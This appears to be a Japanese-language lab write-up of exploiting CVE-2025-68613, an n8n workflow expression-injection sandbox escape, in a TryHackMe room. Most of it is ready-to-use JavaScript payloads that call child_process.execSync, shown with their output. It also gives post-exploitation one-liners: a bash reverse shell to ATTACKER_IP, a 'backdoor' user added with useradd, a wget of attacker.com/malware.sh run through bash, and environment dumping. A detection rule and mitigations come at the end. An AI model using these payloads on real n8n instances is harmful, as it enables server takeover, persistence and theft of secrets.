
このリポジトリは、n8n ワークフロー自動化プラットフォーム (バージョン 0.211.0 から 1.120.3) に影響を与える重大なリモートコード実行 (RCE) 脆弱性である CVE-2025-68613 (CVSS 9.9) の実践的な悪用を記録したものです。
この悪用は、教育目的のみで、管理された TryHackMe ラボ環境において倫理的に実施されました。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-68613 |
| CVSS スコア | 9.9 (Critical) |
| 公開日 | 2025年12月19日 |
| 影響を受ける製品 | n8n Workflow Automation Platform |
| 脆弱性の種類 | 式インジェクション → サンドボックスエスケープ → RCE |
| 攻撃ベクトル | 認証済みユーザー (デフォルト) |
| 修正済みバージョン | 1.120.4, 1.121.1, 1.122.0+ |
| 影響を受けるバージョン | 0.211.0 - 1.120.3 |
n8n は、ユーザーがアプリケーションやサービスを視覚的に接続してタスクを自動化できる、オープンソースのワークフロー自動化プラットフォームです。主な特徴は以下のとおりです:
{{ }} で囲まれた動的式を JavaScript として評価この脆弱性は n8n のワークフロー式評価システムに存在します。認証済みユーザーがワークフローを設定する際、その入力は適切なサンドボックス化なしに JavaScript コードとして処理されます。
Expression Sandbox
↓ (escape via 'this')
Node.js Global Context
↓ (access mainModule)
Module System (require)
↓ (load child_process)
System Command Execution
{{ }} で囲まれたユーザー式が、適切なコンテキスト分離なしに生の JavaScript として評価されるthis オブジェクトへのアクセスにより、意図されたサンドボックス制限から脱出できるprocess.mainModule.require() により Node.js モジュールシステムへアクセスできるchild_process モジュールを読み込める(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
解説:
this → Node.js のグローバルオブジェクトthis.process → Node.js のプロセスオブジェクトprocess.mainModule → n8n アプリケーションのルートモジュール.require('child_process') → システムコマンド実行モジュールを読み込む.execSync('COMMAND') → シェルコマンドを同期的に実行.toString() → Buffer 出力を読み取り可能な文字列に変換脆弱な n8n インスタンスにアクセスし、有効な資格情報でログインします。
ラボの資格情報:
[email protected]Try12345!
ログイン後、ワークフロー作成インターフェースが表示されます。「Start from scratch」をクリックして新しいワークフローを開始します。

「Add first step」をクリックし、「Manual Trigger」を検索します。このノードはワークフロー実行のエントリポイントとして機能します。

目的: Manual Trigger ノードは、UI の「Execute workflow」ボタンからワークフローを手動実行できるようにするため、テストに最適です。
フィールドマッピングを実行するために「Edit Fields」ノードを追加します。ここで脆弱性が悪用されます。

設定手順:
id コマンドを実行してユーザー/権限情報を取得するペイロードを注入します。
ペイロード:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
結果:
uid=1000(node) gid=1000(node) groups=1000(node)

取得された情報:
ペイロードを変更し、ls コマンドを実行してディレクトリの内容を一覧表示します。
ペイロード:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

出力に表示される内容:
flag.txtcat コマンドを使用してフラグファイルを読み取り、悪用を完了します。
ペイロード:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
取得されたフラグ:
THM{n8n_exposed_workflow}

持続的な制御のための対話型シェルアクセスを確立します:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
持続的なアクセスのために新しいシステムユーザーを追加します:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
リモートコードを取得して実行します:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
sudo 権限を確認します:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
環境変数を抽出します:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
分析のためにプロキシがリクエストボディをログに記録するよう設定します:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
ワークフロー API リクエストを介した悪用試行を検知します:
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
n8n によって生成された不審な子プロセスを監視します:
/root/.n8n/logs//var/log/auth.log、/var/log/syslogprocess.mainModulerequire('child_process')execSync または spawnn8n を修正済みバージョンに更新:
ネットワークアクセスの制限
強力な認証
監視とロギング
入力検証とサニタイズ
サンドボックスの実装
最小権限の原則
コードレビューとセキュリティテスト
このドキュメントは教育および権限付与されたセキュリティテストの目的のみで提供されています。記載されている悪用手法は、以下を対象としています:
コンピュータシステムへの不正アクセスは違法です。セキュリティテストを実施する前に、必ず適切な書面による許可を取得してください。
.
├── README.md # This file
├── exploitation-details.md # Technical deep-dive guide
├── screenshots/
│ ├── 01-login.png
│ ├── 02-Welcome.png
│ ├── 03-Manual_Trigger.png
│ ├── 04-Workflow-setup.png
│ ├── 05-rce_id.png
│ ├── 06-Change_id_ls.png
│ └── rce_cat_flag.png
└── notes/
└── exploitation-details.md
この解説記事は、TryHackMe ラボ環境での CVE-2025-68613 の悪用成功を記録したものです。この脆弱性は、安全なコード評価の重要性と、自動化プラットフォームにおける不十分なサンドボックス実装の危険性を示しています。
この脆弱性を理解することは、攻撃側のセキュリティチームが同様の問題を特定し、防御側のチームがより効果的な検知戦略を開発するのに役立ちます。
| ステップ | 操作 | 時間 |
|---|
| 1 | n8n インスタンスにアクセス | 数秒 |
| 2 | ワークフローの作成/変更 | 1 分未満 |
| 3 | フィールドマッピングノードの追加 | 1 分未満 |
| 4 | id コマンドの注入と実行 | 30 秒未満 |
| 5 | ls によるファイルシステムの列挙 | 1 分未満 |
| 6 | cat によるデータの抽出 | 30 秒未満 |
| 合計 | 完全な RCE 悪用 | 5 分未満 |